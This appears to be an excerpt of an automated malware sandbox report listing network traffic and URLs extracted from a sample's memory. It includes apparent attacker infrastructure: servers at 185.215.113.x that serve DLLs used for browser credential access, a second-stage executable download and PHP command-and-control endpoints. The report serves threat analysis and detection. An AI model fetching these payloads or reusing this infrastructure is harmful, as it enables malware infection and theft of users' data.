Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000000.00000002.2586630909.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2586630909.0000000000790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2586630909.0000000000790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe(X
Source: file.exe, 00000000.00000002.2587213039.0000000000F95000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2586630909.000000000071E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2586630909.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2586630909.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2586630909.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll=
Source: file.exe, 00000000.00000002.2586630909.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2586630909.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2586630909.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllLdW~
Source: file.exe, 00000000.00000002.2586630909.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2586630909.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2586630909.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2586630909.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dlli
Source: file.exe, 00000000.00000002.2586630909.0000000000790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2623624462.000000002351E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2587213039.0000000000F95000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2586630909.0000000000776000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2623624462.0000000023512000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2586630909.0000000000790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2586630909.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php4ag~
Source: file.exe, 00000000.00000002.2623624462.000000002351E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpF#
Source: file.exe, 00000000.00000002.2623624462.0000000023512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpbJ
Source: file.exe, 00000000.00000002.2586630909.0000000000790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpgPreference.VerbsoY
Source: file.exe, 00000000.00000002.2587213039.0000000000F95000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2623624462.000000002351E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp
Source: file.exe, 00000000.00000002.2623624462.000000002351E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpt#
Source: file.exe, 00000000.00000002.2587213039.0000000000F95000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206lfons
Source: skotes.exe, 00000019.00000002.3316663562.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000019.00000002.3316663562.000000000166E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3316663562.000000000165C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3316663562.000000000161B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000019.00000002.3316663562.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php%
Source: skotes.exe, 00000019.00000002.3316663562.000000000165C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpo
Source: skotes.exe, 00000019.00000002.3316663562.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/rsonation
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2629547909.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2614395761.000000001D3BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2586630909.00000000007B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2623624462.0000000023501000.00000004.00000020.00020000.00000000.sdmp, KJJJKFIIIJJJECAAEHDB.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2623624462.0000000023501000.00000004.00000020.00020000.00000000.sdmp, KJJJKFIIIJJJECAAEHDB.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.9.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000002.2586630909.00000000007B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2356515331.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2586630909.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2356515331.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2586630909.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.8.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: file.exe, 00000000.00000002.2623624462.0000000023501000.00000004.00000020.00020000.00000000.sdmp, KJJJKFIIIJJJECAAEHDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2623624462.0000000023501000.00000004.00000020.00020000.00000000.sdmp, KJJJKFIIIJJJECAAEHDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2356515331.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2586630909.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2356515331.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2586630909.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2356515331.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2586630909.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
